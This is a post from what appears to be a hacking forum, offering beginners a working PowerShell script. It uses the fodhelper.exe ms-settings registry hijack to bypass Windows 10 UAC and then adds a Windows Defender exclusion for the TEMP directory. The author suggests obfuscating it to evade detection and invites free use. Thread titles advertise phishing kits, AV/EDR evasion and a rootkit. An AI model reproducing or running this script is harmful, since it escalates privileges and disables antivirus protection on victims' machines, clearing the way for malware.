win-10 uac bypass add exclusion
by nullvex - Tuesday April 1, 2025 at 12:57 AM
#1
hello here is a little something/ script for some beginners 
this power-shell code is simple yet effective
it adds a windows defender exclusion to the "&env:TEMP" directory

hope you like it.


if (-NOT ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) {
    $command = "powershell.exe -NoProfile -ExecutionPolicy Bypass -Command `"Add-MpPreference -ExclusionPath '$env:Temp'`""

    # Clean up any existing registry entries (silently continue if they don't exist)
    Remove-Item "HKCU:\Software\Classes\ms-settings\" -Recurse -Force -ErrorAction SilentlyContinue

    New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force | Out-Null
    New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force | Out-Null
    Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value $command Force

    Start-Process "C:\Windows\System32\fodhelper.exe" -WindowStyle Hidden
    Start-Sleep -Seconds 3

    Remove-Item "HKCU:\Software\Classes\ms-settings\" -Recurse -Force -ErrorAction SilentlyContinue

    Write-Host "Exclusion path '$env:Temp' added to Windows Defender."
} else {
    Add-MpPreference -ExclusionPath "$env:Temp"
    Write-Host "Exclusion path '$env:Temp' added to Windows Defender (already elevated)."
}



its unfortunately detected by windows defender but if added
some kind of obfuscation like (UTF-16LE) it could
help detection rates.

either way use this code to your liking.
Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
  Phishing Platform with 2FA bypass support Loki 143 23,094 2 hours ago
Last Post: Haier
  Bypass AV and EDR - Halos Gate from Sektor7 0x01 126 11,823 10 hours ago
Last Post: iji128at
  Rust Based Windows Kernel Rootkit Loki 132 9,927 10 hours ago
Last Post: iji128at
  [Sektor7] Full Recent Course Spearr 43 2,004 Yesterday, 11:17 AM
Last Post: fafafa666
  3 sektor7 free courses NEO123 54 4,176 Yesterday, 08:53 AM
Last Post: atvrkill

Forum Jump:


 Users browsing this forum: 1 Guest(s)